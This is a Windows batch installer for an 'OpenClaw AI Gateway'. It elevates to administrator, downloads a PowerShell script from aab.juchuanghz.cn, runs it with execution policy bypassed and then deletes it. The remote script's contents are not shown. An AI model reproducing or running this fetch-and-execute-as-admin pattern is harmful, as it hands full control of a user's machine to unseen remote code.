@echo off
chcp 65001 >nul
title OpenClaw AI Gateway Installer
color 0f

echo ============================================
echo   OpenClaw AI Gateway - One-Click Install
echo ============================================
echo.

REM Check admin rights
net session >nul 2>&1
if %errorLevel% NEQ 0 (
    echo This tool needs administrator privileges.
    echo Requesting elevation...
    echo.
    powershell -Command "Start-Process '%~f0' -Verb RunAs -Wait"
    echo.
    pause
    exit /b
)

echo [1/3] Downloading install script from server...
echo   https://aab.juchuanghz.cn/install.ps1
echo.

powershell -Command "Invoke-WebRequest -UseBasicParsing -Uri 'https://aab.juchuanghz.cn/install.ps1' -OutFile ([System.IO.Path]::Combine($env:TEMP,'install-openclaw.ps1'))"
if %errorLevel% NEQ 0 (
    echo [ERROR] Download failed!
    echo Try downloading manually and running:
    echo   https://aab.juchuanghz.cn/install.ps1
    pause
    exit /b
)
echo [OK] Download complete
echo.

echo [2/3] Running install script...
echo.
powershell -ExecutionPolicy Bypass -File "%TEMP%\install-openclaw.ps1"
set PS_EXIT=%errorLevel%

echo.
if %PS_EXIT% EQU 0 (
    echo [OK] Install script completed
) else (
    echo [WARN] Install script had issues (exit code: %PS_EXIT%^)
)

echo.
echo [3/3] Cleaning up...
del "%TEMP%\install-openclaw.ps1" >nul 2>&1

echo.
echo ============================================
echo   Process finished.
echo ============================================
pause
